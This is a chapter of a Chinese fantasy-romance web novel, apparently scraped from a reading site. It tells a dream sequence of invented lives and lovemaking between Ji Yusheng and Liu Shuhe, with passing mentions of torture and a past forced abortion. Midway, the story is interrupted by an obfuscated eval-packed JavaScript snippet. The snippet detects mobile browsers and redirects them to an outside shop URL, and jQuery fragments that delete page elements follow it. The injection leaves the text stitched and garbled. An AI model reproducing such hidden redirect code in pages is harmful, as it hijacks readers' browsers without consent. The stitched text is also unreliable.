43. 春色入酒

作品:《斩心 GB

    “公子。飞鸽来书,公主将于明日清晨抵达月都。”


    正月末。午时,万丈云间,月都登仙阁。


    阁内沉香拢帘,半枝残梅,遮人影扶疏。


    窗外黛山日暖,三两闲啼,燕逢来时春。


    帘后人问:“蓝梦蝶,在何处?”


    门外人答:“正遵照公子要求,在藏书阁罚抄《百家姓》及女公子之名。估计离抄满百遍还需三个日夜。期间奈何桥登记由观夏代替。”


    “哑巴村的人彘还活着吗。”


    “还有一口气。早上寄秋去瞧了。”


    “嗯。下去吧。”


    “是。流春、寄秋会一直侯于入梦台。公子若有吩咐,随时摇铃传唤。”


    软榻之上。


    内里卧着一人,冰清玉颜,剑眉微蹙,双目紧闭,时不时于梦中呓语。


    床榻靠外半侧,另躺着一人。里面那位白日昏睡者正枕在他小腹上,其双臂修长,线条坚韧有力,紧紧箍着身下人的腰。


    “柳舒鹤......”


    呓语之人往他腹中又埋了埋,似是不满足于隔着那层雪色丝绸,要汲尽那层皮肉之下的全部暖意。


    “哎。”


    柳舒鹤指尖勾着怀中人散乱的青丝,轻抚其脸侧颈间,手中翻过一页话本,面上虽是在浅笑着,可那双极美的眼中却没有什么显而易见的情绪,漆黑如沉沉永夜。


    “乖。继续睡吧。我的小笙。”


    窗棂上飞来一只燕子,又扑棱着翅膀飞走了。


    这冰天雪地,哪来的燕子?


    姬玉笙心中正疑惑,待她再回头的时候,榻上的柳舒鹤不见了。


    肩上有什么东西动了动。只见肩上那绣入衣中的红蝶活了过来,正轻舞翅膀。


    与此同时,手中那小孩在对着她微笑。


    姬玉笙看着那张年幼版她的脸。


    这种笑完全不是一个婴孩该有的。她有些汗毛倒立,想起那天在花影巷见到的傀儡。


    姬玉笙掐住小孩的脖子。


    小孩依旧在笑,并且开始发出“咯咯”的笑声。


    姬玉笙松开它。


    没想到,它一落地,竟开始抽枝发条,很快从一个婴孩变成了一个少女的模样,又迅速变成她的样子。


    “你是个什么东西......”


    “你是个什么东西......”它学姬玉笙说话,连眼中惊讶之色都一模一样。


    姬玉笙退了两步,它也退了两步。


    姬玉笙抬手,它也抬手。


    姬玉笙拔刀,它也拔刀。


    于是两把相同的刀同时向前。


    刀刃相碰声清脆肃杀,又渐听得金戈铁马,吹角连营。


    转眼,雪天小院已不见踪影。


    取而代之的是沙场前阵,黄沙漫天,血肉横飞。


    姬玉笙正一身铁甲,坐于疾驰的战马之上,身后是跟着她奔腾的千军万马。


    没等她完全反应过来,一枚飞箭迎面而来。


    姬玉笙即刻挥臂挡掉,拉弓放箭,一下射中方才偷袭之人,正是敌军首领。


    那中箭之人两眼一翻,坠落马下,敌军四散而逃。


    一阵追赶厮杀后,姬玉笙只觉得过瘾。


    “将军!我们镇守边关三年了!终于胜了!”


    部下皆欢欣鼓舞。


    “列队,归乡。”


    到了这,姬玉笙已经将自己带入了这个身份,忘了自己身处南华梦中。


    马儿走着走着,街景流转,便入了初夏,一片江南烟雨中,见一排柴门村舍。


    家门前,候着一形容枯槁、衣着朴素之人,怀里抱了个篮子,远远见了她的马,眼里突然就有了亮色,立刻抛了篮子,朝她跑了过来。


    姬玉笙下马,接住那像兔子一样飞奔过来的人。


    久违的沁人花香。是柳舒鹤。


    柳舒鹤整个人挂在她身上,望着她的眼睛,似乎有很多话要说,又什么都说不出,眼泪不断砸在她背后。


    姬玉笙托着身前人的腿,一路到了家门口,发现地上散落了一盆野菜。


    “我不在家,你就吃这个?”


    柳舒鹤一脸心疼,要下来捡,姬玉笙按着他不让他下来。


    “夫君莫要担心,得知夫君得胜归来,我早上便去市集买了米面肉蛋,给我家夫君包馄饨吃。”


    隔壁阿婶走了过来,疾呼道,“姬将军,你可算回来了!你不知你家夫人这三年过得有多苦,平日里根本舍不得花钱,每天一大早就去山上挖野菜,今日同我去集市买米面的钱都还是替人浆洗才凑上的!”


    “你给别人洗衣服了?”姬玉笙捉住他试图缩到身后的手。


    只见那一双修长的手上全是冻疮,完全不见往日细嫩矜贵。


    “对不住夫君,我给别人洗衣服了……”柳舒鹤搓着自己的手道,“以后不会了,以后只给夫君洗……”


    姬玉笙从行囊中摸出一只马油霜。


    “这是我从西域商人那边买的,每日涂抹,把手养好。”


    柳舒鹤撇撇嘴角,又埋到她肩上哭。


    “夫君。”


    “嗯。我回来了。”


    “夫君,这次回来,是不是就不会离开我了?”


    “陛下下令,三个月后,我要去镇守西南。”


    “三个月呐,”柳舒鹤欣喜,微红着脸,枕在她肩上道,“那,这次,我想替夫君怀个孩子,可好?”


    “好。我努力让夫人怀上。”


    姬玉笙托着人往屋内走。


    等她再出来的时候,天都黑了。


    过了好一会儿,柳舒鹤才走出房内,面上潋滟春色未尽,要去厨房包馄饨。


    姬玉笙见他步履有些不稳,跟了过去。


    “还难受吗?”


    柳舒鹤摇头,安抚地拍了拍搂在腰间的手,又继续在案板上忙活。


    “那再来一次?”


    “夫君……”


    反正这碗馄饨到第二日都没吃上。


    早上醒的时候,柳舒鹤就有些不舒服,头晕脑热,还有些干呕。


    姬玉笙把人从厨房弄回榻上,请了个白衣大夫来,一诊完便给她道喜。


    “恭喜将军,将军夫人这是喜脉。”


    柳舒鹤握紧姬玉笙的手,眼里除了喜悦,还有些惧色和恳求。


    “小笙,这次你不要再叫我把宝宝打掉了,好不好。”


    “夫人何出此言?”


    梦境突然裂开一个口。


    姬玉笙觉得自己不会说出这种话,但她好像又确实在哪里说过。


    是在何处呢?为何就是想不起来?


    “以前,我们有过一个孩子?”


    柳舒鹤转过头去,闭上眼,将自己的唇咬得惨白,似是想起了什么痛苦的回忆,兀自落下一颗泪。


    “夫君,过往之事,不必再提。”


    “别哭。”姬玉笙给他擦泪,“何时有的?我怎不知晓?”


    “你我初见,在金陵之时。”柳舒鹤道。


    【赠君金钿与红花,勿要误我好前程。】<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152103|142730||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    日光将尽。


    白日的灵秀山色从飘飘仙人姿,逐渐要化成簌簌鬼影。


    柳舒鹤点燃床边香烛,换了个姿势拥着怀中人,用下巴蹭了蹭她的发丝,柔声照着话本念道。


    “你那时说,赠君金钿与红花,勿要误我好前程。”


    柳舒鹤捂着小腹,一字一句,都极尽痛苦。


    金陵?她何时去的金陵?


    她不是个镇守边关的无名小将吗?每次出征,她的夫人都会留在这江南一隅苦等她归家,两点一线,如此往复。


    她自认已是亏欠夫人,不料想还有一段她所不知的过往。


    而关于过往之事。


    为何她的脑袋里空空如也?


    在这之前,她在哪里?又是因何同柳舒鹤认识的?


    她到底是谁?


    柳舒鹤将姬玉笙的手放在自己脸侧。


    【可记旧时年。沉云蔽日,东风雪,小红炉,君自山外来,与我讨春酒。】


    姬玉笙闭上眼睛。


    再睁眼的时候。


    只见置身于一山中小屋。


    对面坐一容貌鲜妍、却眉宇清冷的少年人,正于暖炉边热着一壶酒。


    姬玉笙浑身燥热,看着窗外飘着的雪,只想举剑出门,将其全部都砍了。


    “请阁下品鉴。”


    喝个酒,品鉴什么品鉴?


    姬玉笙拿过他手中的酒杯,一饮而尽。


    指尖相碰间,少年人耳朵稍红。


    姬玉笙倒不觉得有什么。热酒下肚,她似乎觉得好了些,可还是烦躁得想将眼前这燃烧着的泥炉打翻。


    她这么想着,手已经伸了出去。


    少年人却捉住她的手。


    “阁下,危险。”


    “你说要帮我看诊,如何,到底能不能治?”


    “阁下,阁下怕是。”


    “怕是什么?”


    “怕是…….中了春毒。”


    “哦?那可如何是好。”姬玉笙又仰头喝完一杯酒,脸色未曾变过,似是和她自己没什么关系似的。


    “阁下要寻人共修,方可解毒。”


    “人?这里除了你我,还有旁人吗?”


    少年背过身去,躲到屏风之后。


    “抱歉,请阁下自行下山。我本清修者,擅自接待阁下已是破戒。”


    姬玉笙举着酒杯,站了起来,朝屏风后面走去。


    她往前走一步,撩开一层纱帘,少年人就往后退一步。


    层层纱幔之后,最后到了一玉雕床榻前。


    “还请,阁下,自重。”


    姬玉笙没看他,自顾自饮完杯中酒,随意抛到一边。


    “仙君,可知山下有一个道理。若是想做个好人,就要做到底。”


    姬玉笙转头看他,用剑尖扯住他腰间的系带,一点点拉开。


    “不然,可是要遭人恨的。”


    红烛帐暖。


    “你叫什么名字?”


    “舒、舒鹤......”


    “舒鹤仙君,你的腿真长。”


    夜全然已至。


    月都灯火接连点亮,丝竹缠绵入耳。


    “哎呀,不得了,我们小笙可真霸道。”


    柳舒鹤闭着眼,探了探怀中人的眉心,嘴角情不自禁勾起。


    他稍稍起身,将手上的话本合上,叠到一旁的书堆之上。


    只见那本书名为《风流剑客俏仙君》。


    笔者:鹤影鬼仙。


    配图:燕子婳。